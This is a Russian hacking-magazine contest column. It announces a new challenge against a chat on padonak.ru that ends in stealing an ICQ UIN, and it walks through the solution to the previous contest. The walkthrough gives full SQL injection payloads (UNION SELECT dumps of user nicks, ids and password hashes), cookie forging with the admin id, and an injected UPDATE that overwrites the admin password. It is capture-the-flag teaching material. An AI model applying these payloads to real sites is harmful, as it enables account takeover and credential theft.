КОНКУРС ВЗЛОМА
Хакер, номер #070, стр. 070-085-1 Все, чувак, осенняя пора, очей очарованье подходит к концу, и скоро наступит зимняя холодрыга. Надеюсь, низкая температура на улице не повлияет отрицательно на твой мозг, и ты с прежним упорством будешь проходить конкурсы взлома. Итак, в этот раз нужно поздравить «?????????», поскольку он справился со сложным сентябрьским хак-квестом быстрее всех. Перейдем к следующему конкурсу, который начнется 22-го октября. В этот раз падонки забили на коммерцию и решили изготовить open source продукт, представляющий собой чат. И пример работы, и сами сорцы их творения выложены на самом www.padonak.ru. Особенность этого чата заключается в том, что в нем есть приватные комнаты, в которых сидят и сами падонки. Если тебе удастся поломать чат, то ты сможешь прочитать логи их разговора. Они умудрились оставить там инфу, которая поможет тебе украсть неплохой шестизначный уин. Основные шаги: 1) Анализируешь сорцы чата. 2) Находишь место, где можно совершить sql-injection и получить доступ к привату. 3) Думаешь, как ты можешь использовать то, что написали падонки. 4) Используешь инфу и угоняешь UIN. СЕНТЯБРЬСКИЙ КОНКУРС А вот что нужно было делать для того, чтобы пройти конкурс прошлого номера: 1) Зайти на сайте www.padonak.ru в раздел «Поиск друга». 2) Перейти на вторую страницу результатов поиска. Вот что можно наблюдать в строке браузера: www.padonak.ru/view.php?page=data/searchresult&sid=7&tn=1. Видишь, переменной sid передается значение «7». Если вместо семерки ты подставил бы какие-нибудь левые данные, например «gbkligih», то увидел бы появившуюся надпись «Ошибка SQL. Невозможно создать переменные запроса на поиск из БД». Это говорит о том, что сайтовый движок использует SQL и можно попробовать провести атаку SQL-injection. 3) Передаешь скрипту, например, такие параметры: www.padonak.ru/view.php?page=data/searchresult&sid=2'&tn=0&hear=-1&minage=0&maxage=0&sex=-2 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL. Результат этого запроса говорит о том, что мы на верном пути. 4) Теперь нужно угадать название таблицы, которая хранит в себе аккаунты юзеров. Для этого исполняем запрос www.padonak.ru/view.php?page=data/searchresult&sid=2'&tn=0&hear=-1&minage=0&maxage=0&sex=-2 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM <имя_таблицы> . Если таблица, имя которой ты подставишь в этот запрос, существует, то кроме надписи «Ошибка SQL» ты увидишь еще кое-какую инфу (смотри видео, посвященное прохождению конкурса). 5) Допустим, имя таблицы, в которой хранятся учетные записи юзеров, ты угадал (в нашем случае она называлась «users»). Теперь исполняешь запрос www.padonak.ru/view.php?page=data/searchresult&sid=2'&tn=0&hear=-1&minage=0&maxage=0&sex=-2 UNION SELECT NULL, NULL, nick, id, pass, NULL, NULL, NULL FROM users, который покажет хэши пассов и уникальные идентификаторы (id) всех юзеров. Берешь админский id и вставляешь его в свои куки, после чего сам становишься админом. 6) Для того чтобы войти в админ-интерфейс, мало быть просто залогиненным под админом. Нужно ввести пасс администратора повторно. Но его-то мы не знаем, и md5-хеш админа в нашем случае тоже расшифровать нереально – пароль падонкаф слишком длинный. Поэтому мы делаем такой трюк. Сначала генерим md5-хеш какого-нибудь случайного пароля. Например, зашифрованный пасс «padonak» будет иметь вид «18d5d25a4397debe3d05d9a9b250a9c3». Идем на страницу «Редактировать инфу о себе». Вставляем этот хеш в поле «Nick», а в поле «Возраст» вписываем «1, pass=nick» и жмем submit. В результате SQL-запрос, обновляющий инфу, будет выглядеть так: UPDATE users SET nick='18d5d25a4397debe3d05d9a9b250a9c3', mail='', about='', hear=0, age=1, pass=nick, sex=0 WHERE login='admin'. После того как запрос исполнится, поле «Pass» в базе данных изменится на «18d5d25a4397debe3d05d9a9b250a9c3». |